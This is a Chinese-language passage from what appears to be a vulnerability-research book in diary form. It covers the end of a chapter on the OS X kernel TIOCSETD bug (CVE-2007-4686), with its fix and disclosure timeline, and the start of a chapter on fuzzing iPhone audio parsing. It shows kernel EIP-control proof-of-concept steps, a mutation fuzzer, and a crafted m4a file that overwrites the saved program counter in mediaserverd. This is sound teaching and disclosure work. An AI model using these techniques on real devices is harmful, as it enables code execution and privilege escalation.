示例 7-4. 用于在内核中查找指向特殊字节模式的内存位置的脚本 (search_memloc.gdb)
01 set $MAX_ADDR = 0x00600000
02
03 define my_ascii
04 if $argc != 1
05 printf "ERROR: my_ascii"
06 else
07 set $tmp = *(unsigned char *)($arg0)
08 if ($tmp < 0x20 || $tmp > 0x7E)
09 printf "."
10 else
11 printf "%c", $tmp
12 end
13 end
14 end
15
16 define my_hex
17 if $argc != 1
18 printf "ERROR: my_hex"
19 else
20 printf "%02X%02X%02X%02X ", \
21 *(unsigned char*)($arg0 + 3), *(unsigned char*)($arg0 + 2), \
22 *(unsigned char*)($arg0 + 1), *(unsigned char*)($arg0 + 0)
23 end
24 end
25
26 define hexdump
27 if $argc != 2
28 printf "ERROR: hexdump"
29 else
30 if ((*(unsigned char*)($arg0 + 0) == (unsigned char)($arg1 >> 0)))
31 if ((*(unsigned char*)($arg0 + 1) == (unsigned char)($arg1 >> 8)))
32 if ((*(unsigned char*)($arg0 + 2) == (unsigned char)($arg1 >> 16)))
33 if ((*(unsigned char*)($arg0 + 3) == (unsigned char)($arg1 >> 24)))
34 printf "%08X : ", $arg0
35 my_hex $arg0
36 my_ascii $arg0+0x3
37 my_ascii $arg0+0x2
38 my_ascii $arg0+0x1
39 my_ascii $arg0+0x0
40 printf "\n"
41 end
42 end
43 end
44 end
45 end
46 end
47
48 define search_memloc
49 set $max_addr = $MAX_ADDR
50 set $counter = 0
51 if $argc != 2
52 help search_memloc
53 else
54 while (($arg0 + $counter) <= $max_addr)
55 set $addr = $arg0 + $counter
56 hexdump $addr $arg1
57 set $counter = $counter + 0x20
58 end
59 end
60 end
61 document search_memloc
62 Search a kernel memory location that points to PATTERN.
63 Usage: search_memloc ADDRESS PATTERN
64 ADDRESS - address to start the search
65 PATTERN - pattern to search for
66 end
示例 7-4") 中的 gdb 脚本接受两个参数:搜索的起始地址和要搜索的模式。我想找到指向值 0x65656565 的内存位置,所以我以以下方式使用脚本:
(gdb) `source search_memloc.gdb`
(gdb) `search_memloc 0x400000 0x65656565`
0041BDA0 : 65656565 eeee
0041BDC0 : 65656565 eeee
0041BDE0 : 65656565 eeee
0041BE00 : 65656565 eeee
0041BE20 : 65656565 eeee
0041BE40 : 65656565 eeee
0041BE60 : 65656565 eeee
0041BE80 : 65656565 eeee
0041BEA0 : 65656565 eeee
0041BEC0 : 65656565 eeee
00459A00 : 65656565 eeee
00459A20 : 65656565 eeee
00459A40 : 65656565 eeee
00459A60 : 65656565 eeee
00459A80 : 65656565 eeee
00459AA0 : 65656565 eeee
00459AC0 : 65656565 eeee
00459AE0 : 65656565 eeee
00459B00 : 65656565 eeee
00459B20 : 65656565 eeee
Cannot access memory at address 0x4dc000
输出显示了脚本找到的指向值 0x65656565 的内存位置。我从列表中选择了第一个,调整了 示例 7-3") 中第 3 行定义的 MEMLOC,并让程序确定适当的 TIOCSETD 输入值:
osx$ `head −3 addr_brute_force.c`
#include <stdio.h>
#define MEMLOC `0x0041bda0`
osx$ `gcc -o addr_brute_force addr_brute_force.c`
osx$ `./addr_brute_force`
Value: 87ffe2aa
我随后更改了 示例 7-2 中的 IOCTL 输入值,将内核调试器连接到 OS X,并执行了以下代码:
osx$ `head −6 poc.c`
#include <sys/ioctl.h>
int
main (void)
{
unsigned long ldisc = `0x87ffe2aa`;
osx$ `gcc -o poc poc.c`
osx$ `./poc`
OS X 机器再次冻结,Linux 主机上的调试器显示了以下输出:
Program received signal SIGTRAP, Trace/breakpoint trap.
`0x65656565 in ?? ()`
(gdb) `info registers`
eax 0xfffc5540 −240320
ecx 0x4000001 67108865
edx 0x386c380 59163520
ebx 0x87ffe2aa −2013273430
esp 0x250dbc08 0x250dbc08
ebp 0x250dbd18 0x250dbd18
esi 0x3e59604 65377796
edi 0x0 0
`eip 0x65656565 0x65656565`
eflags 0x10282 66178
cs 0x8 8
ss 0x10 16
ds 0x3e50010 65339408
es 0x3e50010 65339408
fs 0x10 16
gs 0x48 72
如调试器输出所示,EIP 寄存器的值现在是 0x65656565。在此点,我能够控制 EIP,但要在内核级别利用该漏洞以实现任意代码执行仍然是一个挑战。在 OS X 中,包括 Leopard,内核并没有映射到每个用户空间进程;它有自己的虚拟地址空间。因此,使用 Linux 或 Windows 的常见策略返回用户空间地址是不可能的。我通过使用我的提权有效载荷和对此有效载荷的引用对内核进行堆喷射来解决此问题。我通过利用 OS X 内核中的内存泄漏来实现这一点。然后我计算了一个适当的 TIOCSETD 输入值,该值指向有效载荷引用。然后将此值复制到 EIP 和 . . . bingo!
提供完整的有效载荷将违反法律,但如果您感兴趣,您可以在本书的网站上观看一段展示有效载荷在行动中的简短视频。^[[78])
7.3 漏洞补救措施
注意
2007 年 11 月 14 日,星期三
在我通知苹果公司有关该漏洞后,苹果公司通过添加对用户提供的 IOCTL 数据的额外检查来修复了它。
源代码文件
xnu-792.24.17/bsd/kern/tty.c^[[79])
[..]
1081 case TIOCSETD: { /* set line discipline */
1082 register int t = *(int *)data;
1083 dev_t device = tp->t_dev;
1084
`1085 if (t >= nlinesw || t < 0)`
1086 return (ENXIO);
1087 if (t != tp->t_line) {
1088 s = spltty();
1089 (*linesw[tp->t_line].l_close)(tp, flag);
1090 error = (*linesw[t].l_open)(device, tp);
1091 if (error) {
1092 (void)(*linesw[tp->t_line].l_open)(device, tp);
1093 splx(s);
1094 return (error);
1095 }
1096 tp->t_line = t;
1097 splx(s);
1098 }
1099 break;
1100 }
[..]
行 1085 现在检查 t 的值是否为负。如果是,则不会进一步处理用户提供的资料。这个小小的改动足以成功修复漏洞。
7.4 学到的经验教训
作为一名程序员:
-
在可能的情况下,避免使用显式的类型转换(类型转换)。
-
总是验证输入数据。
7.5 补遗
注意
2007 年 11 月 15 日,星期四
由于漏洞已被修复,并且 OS X 的 XNU 内核的新版本已经可用,我今天在我的网站上发布了一份详细的安全公告。^[[80]) 该漏洞被分配了 CVE-2007-4686。
在我发布公告后,Theo de Raadt(OpenBSD 和 OpenSSH 的创始人)暗示这个漏洞比 4.4BSD 更老,大约 15 年前除了苹果公司外,每个人都已修复。1994 年 FreeBSD 的初始版本中,TIOCSETD IOCTL 的实现如下所示:^[[81])
[..]
804 case TIOCSETD: { /* set line discipline */
805 register int t = *(int *)data;
806 dev_t device = tp->t_dev;
807
`808 if ((u_int)t >= nlinesw)`
`809 return (ENXIO);`
810 if (t != tp->t_line) {
811 s = spltty();
812 (*linesw[tp->t_line].l_close)(tp, flag);
813 error = (*linesw[t].l_open)(device, tp);
814 if (error) {
815 (void)(*linesw[tp->t_line].l_open)(device, tp);
816 splx(s);
817 return (error);
818 }
819 tp->t_line = t;
820 splx(s);
821 }
822 break;
823 }
[..]
由于在 808 行t被转换为无符号整型,它永远不会变成负数。如果用户提供的数据大于0x80000000,函数将返回错误(见 809 行)。所以 Theo 是对的——这个漏洞确实在 1994 年就已经被修复了。图 7-4 显示了漏洞修复的时间线。

图 7-4. 从通知苹果到发布安全公告的时间线
备注
^([75])
^([76])
^([77])
^([78])
^([79])
^([80])
^([81])
^([75]) XNU 易受攻击的源代码修订版 792.13.8 可在www.opensource.apple.com/tarballs/xnu/xnu-792.13.8.tar.gz下载。
^([76]) 请参阅“您需要重新启动计算机”(内核恐慌)消息出现(Mac OS X v10.5, 10.6)。
^([77]) 请参阅Mac OS X 开发者库中的“内核扩展编程主题:使用 GDB 调试内核扩展”以及“内核编程指南:出错时;调试内核”,链接为developer.apple.com/library/mac/#documentation/Darwin/Conceptual/KEXTConcept/KEXTConceptDebugger/debug_tutorial.html和developer.apple.com/library/mac/documentation/Darwin/Conceptual/KernelProgramming/build/build.html#//apple_ref/doc/uid/TP30000905-CH221-CIHBJCGC。
^([78]) 请参阅www.trapkit.de/books/bhd/。
^([79]) 修复后的 XNU 版本 792.24.17 的源代码可在www.opensource.apple.com/tarballs/xnu/xnu-792.24.17.tar.gz找到。
^([80]) 描述 Mac OS X 内核漏洞详细信息的我的安全公告可以在www.trapkit.de/advisories/TKADV2007-001.txt找到。
^([81]) 1994 年tty.c的初始 FreeBSD 版本可在www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/tty.c?rev=1.1;content-type=text/plain找到。
第八章。铃声大屠杀
注意
2009 年 3 月 21 日,星期六
亲爱的日记,
上周,我的一个好朋友借给我他的越狱的、第一代 iPhone。我非常兴奋。自从苹果公司宣布 iPhone 以来,我就想看看我能否在设备中找到漏洞,但直到上周我从未有机会接触到一台。
8.1 漏洞发现
我终于有一部 iPhone 可以玩了,我想寻找漏洞。但要从哪里开始呢?我首先列出了安装的应用程序和库,这些应用程序和库似乎最有可能存在漏洞。MobileSafari 浏览器、MobileMail 应用程序和音频库排在最前面。我决定音频库是最有希望的靶标,因为这些库执行了很多解析,并且在手机上被大量使用,所以我尝试了它们。
在搜索 iPhone 音频库以寻找漏洞时,我执行了以下步骤:
注意
我使用了一台固件为 2.2.1(5H11)的第一代 iPhone 作为所有以下步骤的平台。
-
第 1 步:研究 iPhone 的音频功能。
-
第 2 步:构建一个简单的模糊器并模糊手机。
注意
我使用 Cydia 在 iPhone 上安装了所有必要的工具——如 Bash、OpenSSH 和 GNU 调试器^([83])。
第 1 步:研究 iPhone 的音频功能
基于 iPod 的 iPhone 是一款功能强大的音频设备。手机上提供了三个框架,提供了不同级别的声音功能:Core Audio 框架^([84]), Celestial 框架^([85]), 和 Audio Toolbox 框架。此外,iPhone 运行一个名为mediaserverd的音频守护进程,它聚合了所有应用程序的声音输出,并管理诸如音量和静音切换等事件。
第 2 步:构建一个简单的模糊器并模糊手机
iPhone 的音频系统及其所有不同的框架似乎有点复杂,所以我决定先构建一个简单的模糊器来搜索明显的漏洞。我构建的模糊器执行以下操作:
-
在 Linux 主机上:通过变异一个样本目标文件来准备测试用例。
-
在 Linux 主机上:通过 Web 服务器提供这些测试用例。
-
在 iPhone 上:在 MobileSafari 中打开测试用例。
-
在 iPhone 上:监控
mediaserverd的故障。 -
在 iPhone 上:如果在设备中发现故障,则记录发现情况。
-
重复这些步骤。
我创建了一个简单的、基于变异的文件模糊器,用于在 Linux 主机上准备测试用例:
示例 8-1. 我在 Linux 主机上准备测试用例所写的代码(fuzz.c)
01 #include <stdio.h>
02 #include <sys/types.h>
03 #include <sys/mman.h>
04 #include <fcntl.h>
05 #include <stdlib.h>
06 #include <unistd.h>
07
08 int
09 main (int argc, char *argv[])
10 {
11 int fd = 0;
12 char * p = NULL;
13 char * name = NULL;
14 unsigned int file_size = 0;
15 unsigned int file_offset = 0;
16 unsigned int file_value = 0;
17
18 if (argc < 2) {
19 printf ("[-] Error: not enough arguments\n");
20 return (1);
21 } else {
22 file_size = atol (argv[1]);
23 file_offset = atol (argv[2]);
24 file_value = atol (argv[3]);
25 name = argv[4];
26 }
27
28 // open file
29 fd = open (name, O_RDWR);
30 if (fd < 0) {
31 perror ("open");
32 exit (1);
33 }
34
35 // mmap file
36 p = mmap (0, file_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
37 if ((int) p == −1) {
38 perror ("mmap");
39 close (fd);
40 exit (1);
41 }
42
43 // mutate file
44 printf ("[+] file offset: 0x%08x (value: 0x%08x)\n",
file_offset, file_value);
45 fflush (stdout);
46 p[file_offset] = file_value;
47
48 close (fd);
49 munmap (p, file_size);
50
51 return (0);
52 }
示例 8-1 中的模糊器接受四个参数:样本目标文件的大小、要操作的文件偏移量、写入给定文件偏移量的 1 字节值以及目标文件的名称。在编写模糊器后,我编译了它:
linux$ `gcc -o fuzz fuzz.c`
我随后开始模糊化高级音频编码^([86]) (AAC)格式的文件,这是 iPhone 上使用的默认音频格式。我选择了标准的 iPhone 铃声,命名为Alarm.m4r,作为样本目标文件:
linux$ `cp Alarm.m4r testcase.m4r`
我在终端中输入以下行以获取测试用例文件的大小:
linux$ `du -b testcase.m4r`
415959 testcase.m4r
下面的命令行选项指示 fuzzer 将文件偏移量 4 处的字节替换为0xff(十进制 255):
linux$ `./fuzz 415959 4 255 testcase.m4r`
[+] file offset: 0x00000004 (value: 0x000000ff)
我随后使用xxd的帮助验证了结果:
linux$ `xxd Alarm.m4r | head −1`
0000000: 0000 0020 6674 7970 4d34 4120 0000 0000 ... ftypM4A ....
linux$ `xxd testcase.m4r | head −1`
0000000: 0000 0020 ff74 7970 4d34 4120 0000 0000 ... .typM4A ....
输出显示,文件偏移量 4(文件偏移量从 0 开始计数)被替换为预期的值(0xff)。接下来,我创建了一个 bash 脚本来自动化文件变异:
示例 8-2. 我创建的用于自动化文件变异的 bash 脚本 (go.sh)
01 #!/bin/bash
02
03 # file size
04 filesize=415959
05
06 # file offset
07 off=0
08
09 # number of files
10 num=4
11
12 # fuzz value
13 val=255
14
15 # name counter
16 cnt=0
17
18 while [ $cnt -lt $num ]
19 do
20 cp ./Alarm.m4r ./file$cnt.m4a
21 ./fuzz $filesize $off $val ./file$cnt.m4a
22 let "off+=1"
23 let "cnt+=1"
24 done
此脚本只是示例 8-1")中展示的 fuzzer 的包装器,它自动创建了目标文件Alarm.m4r(见第 20 行)的四个测试用例。从文件偏移量 0(见第 7 行)开始,目标文件的前 4 个字节(见第 10 行)分别被替换为0xff(见第 13 行)。当执行脚本时,生成了以下输出:
linux$ `./go.sh`
[+] file offset: 0x00000000 (value: 0x000000ff)
[+] file offset: 0x00000001 (value: 0x000000ff)
[+] file offset: 0x00000002 (value: 0x000000ff)
[+] file offset: 0x00000003 (value: 0x000000ff)
我随后验证了创建的测试用例:
linux$ `xxd file0.m4a | head −1`
0000000: ff00 0020 6674 7970 4d34 4120 0000 0000 ... ftypM4A ....
linux$ `xxd file1.m4a | head −1`
0000000: 00ff 0020 6674 7970 4d34 4120 0000 0000 ... ftypM4A ....
linux$ `xxd file2.m4a | head −1`
0000000: 0000 ff20 6674 7970 4d34 4120 0000 0000 ... ftypM4A ....
linux$ `xxd file3.m4a | head −1`
0000000: 0000 00ff 6674 7970 4d34 4120 0000 0000 ....ftypM4A ....
如输出所示,fuzzer 按预期工作,并在每个测试用例文件中修改了适当的字节。我还没有提到的一个重要事实是,示例 8-2")中的脚本将闹钟铃声的文件扩展名从.m4r更改为.m4a(见第 20 行)。这是必要的,因为 MobileSafari 不支持 iPhone 铃声使用的.m4r文件扩展名。
我将修改后的和未修改的闹钟铃声文件复制到了我安装在 Linux 主机上的 Apache web 服务器的主目录中。我将闹钟铃声的文件扩展名从.m4r更改为.m4a,并将 MobileSafari 指向未修改铃声的 URL。
如图 8-1 所示,未修改的目标文件Alarm.m4a在 MobileSafari 中成功播放。然后,我将浏览器指向第一个修改后的测试用例文件的 URL,该文件名为file0.m4a。
图 8-2")显示,MobileSafari 可以打开修改后的文件,但不能正确解析它。

图 8-1. 使用 MobileSafari 播放未修改的Alarm.m4a

图 8-2. 播放修改后的测试用例文件(file0.m4a)
到目前为止,我取得了什么成就呢?我能够通过变异准备音频文件测试用例,启动 MobileSafari,并指导它加载测试用例。在这个阶段,我想找到一种方法,在监控 mediaserverd 错误的同时,自动逐个打开 MobileSafari 中的测试用例文件。为此,我在手机上创建了这个小 Bash 脚本来完成这项工作:
示例 8-3. 在监控 mediaserverd 错误的同时自动打开测试用例的代码 (audiofuzzer.sh)
01 #!/bin/bash
02
03 fuzzhost=192.168.99.103
04
05 echo [+] =================================
06 echo [+] Start fuzzing
07 echo [+]
08 echo -n "[+] Cleanup: "
09 killall MobileSafari
10 killall mediaserverd
11 sleep 5
12 echo
13
14 origpid=`ps -u mobile -o pid,command | grep /usr/sbin/
mediaserverd | cut -c 0-5`
15 echo [+] Original PID of /usr/sbin/mediaserverd: $origpid
16
17 currpid=$origpid
18 let cnt=0
19 let i=0
20
21 while [ $cnt -le 1000 ];
22 do
23 if [ $i -eq 10 ];
24 then
25 echo -n "[+] Restarting mediaserverd.. "
26 killall mediaserverd
27 sleep 4
28 origpid=`ps -u mobile -o pid,command | grep /usr/sbin/ →
mediaserverd | cut -c 0-5`
29 currpid=$origpid
30 sleep 10
31 echo "done"
32 echo [+] New mediaserverd PID: $origpid
33 i=0
34 fi
35 echo
36 echo [+] =================================
37 echo [+] Current file: http://$fuzzhost/file$cnt.m4a
38 openURL http://$fuzzhost/file$cnt.m4a
39 sleep 30
40 currpid=`ps -u mobile -o pid,command | grep /usr/sbin/
mediaserverd | → cut -c 0-5`
41 echo [+] Current PID of /usr/sbin/mediaserverd: $currpid
42 if [ $currpid -ne $origpid ];
43 then
44 echo [+] POTENTIAL BUG FOUND! File: file$cnt.m4a
45 openURL http://$fuzzhost/BUG_FOUND_file$cnt.m4a
46 origpid=$currpid
47 sleep 5
48 fi
49 ((cnt++))
50 ((i++))
51 killall MobileSafari
52 done
53
54 killall MobileSafari
示例 8-3") 中展示的 Bash 脚本是这样工作的:
-
第 3 行显示托管测试用例的网页服务器的 IP 地址。
-
第 9 行和第 10 行重启
mediaserverd并终止所有运行的 MobileSafari 实例,以创建一个干净的环境。 -
第 14 行将
mediaserverd音频守护进程的进程 ID 复制到变量origpid。 -
第 21 行包含为每个测试用例执行的主要循环。
-
第 23–34 行在每 10 个测试用例之后重启
mediaserverd。模糊测试 iPhone 可能会很繁琐,因为一些组件,包括mediaserverd,容易挂起。 -
第 38 行使用
openURL工具启动托管在网页服务器上的单个测试用例.^([87]) -
第 40 行将
mediaserverd音频守护进程的当前进程 ID 复制到变量currpid。 -
第 42 行比较保存的
mediaserverd进程 ID(见第 14 行)和守护进程的当前进程 ID。当mediaserverd在处理某个测试用例时遇到故障并重新启动时,这两个进程 ID 会不同。这个发现被记录到手机的终端(见第 44 行)。脚本还会向包含文本“BUG_FOUND”以及导致mediaserverd崩溃的文件名的网页服务器发送 GET 请求(见第 45 行)。 -
第 51 行在每次测试用例运行后终止当前的 MobileSafari 实例。
在我实现了这个小脚本之后,我从文件偏移量 0 开始创建了 1,000 个 Alarm.m4r 铃声的变异版本,将它们复制到网页服务器的根目录,并在 iPhone 上启动了 audiofuzzer.sh 脚本。由于内存泄漏,手机时不时地崩溃。每次发生这种情况,我不得不重新启动手机,从网页服务器的访问日志中提取最后一个处理的测试用例的文件名,调整 示例 8-3") 中的第 18 行,然后继续模糊测试。模糊测试 iPhone 可能会非常痛苦……但这是值得的!除了导致手机冻结的内存泄漏之外,我还发现了一堆由于内存损坏导致的崩溃。
8.2 崩溃分析和利用
在模糊器处理完测试用例后,我搜索了 Web 服务器的访问日志文件中的“BUG_FOUND”条目。
linux$ `grep BUG /var/log/apache2/access.log`
192.168.99.103 .. "GET /`BUG_FOUND_file40.m4a`
HTTP/1.1" 404 277 "-" "Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X;
en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1
Mobile/5H11 Safari/525.20"
192.168.99.103 .. "GET /`BUG_FOUND_file41.m4a` HTTP/1.1"
404 276 "-" "Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us)
AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20"
192.168.99.103 .. "GET /`BUG_FOUND_file42.m4a` HTTP/1.1"
404 277 "-" "Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us)
AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20"
[..]
如日志文件摘录所示,mediaserverd在尝试播放测试用例文件 40、41 和 42 时遇到了故障。为了分析崩溃,我重新启动了手机并将 GNU 调试器(见 B.4 节)附加到mediaserverd:
注意
iPhone,像大多数移动设备一样,使用 ARM CPU。这一点很重要,因为 ARM 汇编语言与 Intel 汇编语言大不相同。
iphone# `uname -a`
Darwin localhost 9.4.1 Darwin Kernel Version 9.4.1: Mon Dec
8 20:59:30 PST 2008; root:xnu-1228.7.37~4/RELEASE_ARM_S5L8900X
iPhone1,1 arm M68AP Darwin
iphone# `id`
uid=0(root) gid=0(wheel)
iphone# `gdb -q`
在我启动 gdb 后,我使用了以下命令来检索mediaserverd的当前进程 ID:
(gdb) `shell ps -u mobile -O pid | grep mediaserverd`
27 ?? Ss 0:01.63 /usr/sbin/mediaserverd
然后我将mediaserverd二进制文件加载到调试器中,并将其附加到进程:
(gdb) `exec-file /usr/sbin/mediaserverd`
Reading symbols for shared libraries ......... done
(gdb) `attach 27`
Attaching to program: `/usr/sbin/mediaserverd', process 27.
Reading symbols for shared libraries ..................................... done
0x3146baa4 in mach_msg_trap ()
在我继续执行mediaserverd之前,我使用了follow-fork-mode命令来指示调试器跟踪子进程而不是父进程:
(gdb) `set follow-fork-mode child`
(gdb) `continue`
Continuing.
我在手机上打开了 MobileSafari,并将其指向测试用例文件编号 40(file40.m4a)的 URL。调试器产生了以下结果:
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x01302000
[Switching to process 27 thread 0xa10b]
0x314780ec in memmove ()
崩溃发生在mediaserverd尝试访问地址0x01302000的内存时。
(gdb) `x/1x 0x01302000`
0x1302000: Cannot access memory at address 0x1302000
如调试器输出所示,mediaserverd在尝试引用未映射的内存位置时崩溃。为了进一步分析崩溃,我打印了当前的调用堆栈:
(gdb) `backtrace`
#0 0x314780ec in memmove ()
#1 0x3493d5e0 in MP4AudioStream::ParseHeader ()
`#2 0x00000072 in ?? ()`
Cannot access memory at address 0x72
这个输出很吸引人。堆栈帧#2 的地址有一个不寻常的值(0x00000072),这似乎表明堆栈已经损坏。我使用了以下命令来打印在MP4AudioStream::ParseHeader()中执行的最后一个指令(见堆栈帧#1):
(gdb) `x/1i 0x3493d5e0 - 4`
0x3493d5dc <_ZN14MP4AudioStream11ParseHeaderER27AudioFileStream
Continuation+1652>: bl 0x34997374 <dyld_stub_memcpy>
在MP4AudioStream::ParseHeader()中执行的最后一个指令是调用memcpy(),这肯定导致了崩溃。此时,该错误已经表现出堆缓冲区溢出漏洞的所有特征(见 A.1 节)。
我停止了调试会话并重新启动了设备。手机启动后,我再次将调试器附加到mediaserverd,这次我还定义了一个在MP4AudioStream::ParseHeader()中的memcpy()调用处的断点,以便评估传递给memcpy()的函数参数:
(gdb) `break *0x3493d5dc`
Breakpoint 1 at 0x3493d5dc
(gdb) `continue`
Continuing.
我在 MobileSafari 中打开了测试用例编号 40(file40.m4a),以便触发断点:
[Switching to process 27 thread 0x9c0b]
Breakpoint 1, 0x3493d5dc in MP4AudioStream::ParseHeader ()
memcpy()的参数通常存储在寄存器r0(目标缓冲区)、r1(源缓冲区)和r2(要复制的字节数)中。我向调试器请求了这些寄存器的当前值。
(gdb) `info registers r0 r1 r2`
r0 0x684a38 6834744
r1 0x115030 1134640
r2 0x1fd0 8144
我还检查了由r1指向的数据,以查看memcpy()的源数据是否受用户控制:
(gdb) `x/40x $r1`
0x115030: 0x00000000 0xd7e178c2 0xe5e178c2 0x80bb0000
0x115040: 0x00b41000 0x00000100 0x00000001 0x00000000
0x115050: 0x00000000 0x00000100 0x00000000 0x00000000
0x115060: 0x00000000 0x00000100 0x00000000 0x00000000
0x115070: 0x00000000 0x00000040 0x00000000 0x00000000
0x115080: 0x00000000 0x00000000 0x00000000 0x00000000
0x115090: 0x02000000 0x2d130000 0x6b617274 0x5c000000
0x1150a0: 0x64686b74 0x07000000 0xd7e178c2 0xe5e178c2
0x1150b0: 0x01000000 0x00000000 0x00b41000 0x00000000
0x1150c0: 0x00000000 0x00000000 0x00000001 0x00000100
然后我在测试用例文件编号 40 中搜索这些值。我发现在文件的开始处就找到了它们,以小端表示法表示:
[..]
00000030h: 00 00 00 00 C2 78 E1 D7 C2 78 E1 E5 00 00 BB 80 ; ....Âxá×Âxáå..»₠
00000040h: 00 10 B4 00 00 01 00 00 01 00 00 00 00 00 00 00 ; ..'.............
00000050h: 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 ; ................
00000070h: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 ; ....@...........
[..]
因此,我可以控制内存复制的源数据。我继续执行mediaserverd,并在调试器中获得了以下输出:
(gdb) `continue`
Continuing.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00685000
0x314780ec in memmove ()
Mediaserverd 在尝试访问未映射的内存时再次崩溃。这似乎是因为提供给 memcpy() 的大小参数太大,所以函数试图在堆栈末尾之外复制音频文件数据。在此点,我停止了调试器,并使用十六进制编辑器打开了实际导致崩溃的测试用例文件 (file40.m4a):
00000000h: 00 00 00 20 66 74 79 70 4D 34 41 20 00 00 00 00 ; ... ftypM4A ....
00000010h: 4D 34 41 20 6D 70 34 32 69 73 6F 6D 00 00 00 00 ; M4A mp42isom....
00000020h: 00 00 1C 65 6D 6F 6F 76 FF 00 00 6C 6D 76 68 64 ; ...emoovÿ..lmvhd
[..]
导致崩溃的操作字节(0xff)可以在文件偏移量 40 (0x28) 处找到。我查阅了 QuickTime 文件格式规范^([88]) 以确定该字节在文件结构中的作用。该字节被描述为 movie header atom 的原子大小的一部分,因此模糊器必须已经改变了该原子的尺寸值。正如我之前提到的,提供给 memcpy() 的大小太大,所以 mediaserverd 在尝试将太多数据复制到堆栈上时崩溃。为了避免崩溃,我将原子大小设置为较小的值。我将文件偏移量 40 处的操作值改回 0x00,并将偏移量 42 处的字节值改为 0x02。我将新文件命名为 file40_2.m4a。
这里是原始测试用例文件 40 (file40.m4a):
00000020h: 00 00 1C 65 6D 6F 6F 76 FF 00 00 6C 6D 76 68 64 ; ...emoovÿ..lmvhd
这里是带有更改下划线的新测试用例文件 (file40_2.m4a):
00000020h: 00 00 1C 65 6D 6F 6F 76 00 00 02 6C 6D 76 68 64 ; ...emoovÿ..lmvhd
我重新启动了设备以获得一个干净的环境,再次将调试器附加到 mediaserverd 上,并在 MobileSafari 中打开了新文件。
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000072
[Switching to process 27 thread 0xa10b]
0x00000072 in ?? ()
这次程序计数器(指令指针)被操作以指向地址 0x00000072。然后我停止了调试会话,并启动了一个新的调试会话,同时在 MP4AudioStream::ParseHeader() 中的 memcpy() 调用处再次设置了一个断点:
(gdb) `break *0x3493d5dc`
Breakpoint 1 at 0x3493d5dc
(gdb) `continue`
Continuing.
当我在 MobileSafari 中打开修改后的测试用例文件 file40_2.m4a 时,在调试器中得到了以下输出:
[Switching to process 71 thread 0x9f07]
Breakpoint 1, 0x3493d5dc in MP4AudioStream::ParseHeader ()
我打印了当前的调用堆栈:
`(gdb) backtrace`
`#0 0x3493d5dc in MP4AudioStream::ParseHeader ()`
#1 0x3490d748 in AudioFileStreamWrapper::ParseBytes ()
#2 0x3490cfa8 in AudioFileStreamParseBytes ()
#3 0x345dad70 in PushBytesThroughParser ()
#4 0x345dbd3c in FigAudioFileStreamFormatReaderCreateFromStream ()
#5 0x345dff08 in instantiateFormatReader ()
#6 0x345e02c4 in FigFormatReaderCreateForStream ()
#7 0x345d293c in itemfig_assureBasicsReadyForInspectionInternal ()
#8 0x345d945c in itemfig_makeReadyForInspectionThread ()
#9 0x3146178c in _pthread_body ()
#10 0x00000000 in ?? ()
列表中的第一个堆栈帧就是我正在寻找的。我使用以下命令来显示 MP4AudioStream::ParseHeader() 当前堆栈帧的信息:
(gdb) `info frame 0`
Stack frame at 0x1301c00:
pc = 0x3493d5dc in MP4AudioStream::ParseHeader(AudioFileStream
Continuation&); saved pc 0x3490d748
called by frame at 0x1301c30
Arglist at 0x1301bf8, args:
Locals at 0x1301bf8, Saved registers:
r4 at 0x1301bec, r5 at 0x1301bf0, r6 at 0x1301bf4, r7
at 0x1301bf8, r8 at → 0x1301be0, sl at
0x1301be4, fp at 0x1301be8, lr at 0x1301bfc, `pc at 0x1301bfc`,
s16 at 0x1301ba0, s17 at 0x1301ba4, s18 at 0x1301ba8, s19 at
0x1301bac, s20 at → 0x1301bb0, s21 at 0x1301bb4,
s22 at 0x1301bb8, s23 at 0x1301bbc,
s24 at 0x1301bc0, s25 at 0x1301bc4, s26 at 0x1301bc8, s27 at
0x1301bcc, s28 at → 0x1301bd0, s29 at 0x1301bd4,
s30 at 0x1301bd8, s31 at 0x1301bdc
最有趣的信息是程序计数器(pc 寄存器)在堆栈上的存储位置。正如调试器输出所示,pc 在堆栈上的地址 0x1301bfc 被保存(见“Saved registers”)。
然后我继续了进程的执行:
(gdb) `continue`
Continuing.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000072
0x00000072 in ?? ()
在崩溃后,我查看了 MP4AudioStream::ParseHeader() 函数期望找到其保存的程序计数器的堆栈位置(内存地址 0x1301bfc)。
(gdb) `x/12x 0x1301bfc`
0x1301bfc: 0x00000073 0x00000000 0x04000001 0x0400002d
0x1301c0c: 0x00000000 0x73747328 0x00000063 0x00000000
0x1301c1c: 0x00000002 0x00000001 0x00000017 0x00000001
调试器输出显示,保存的指令指针被覆盖为值 0x00000073。当函数尝试返回其调用函数时,被操作的价值被分配给指令指针(pc 寄存器)。具体来说,由于 ARM CPU 的指令对齐(指令对齐在 16 位或 32 位边界上),值 0x00000072 被复制到指令指针,而不是文件值 0x00000073。
我的极其简单的模糊测试器确实在 iPhone 的音频库中找到了一个经典的堆栈缓冲区溢出错误。我在测试用例文件中搜索了调试器输出的字节模式,并在file40_2.m4a文件中的文件偏移量 500 处找到了字节序列:
000001f0h: 18 73 74 74 73 00 00 00 00 00 00 00 01 00 00 04 ; .stts...........
00000200h: 2D 00 00 04 00 00 00 00 28 73 74 73 63 00 00 00 ; -.......(stsc...
00000210h: 00 00 00 00 02 00 00 00 01 00 00 00 17 00 00 00 ; ................
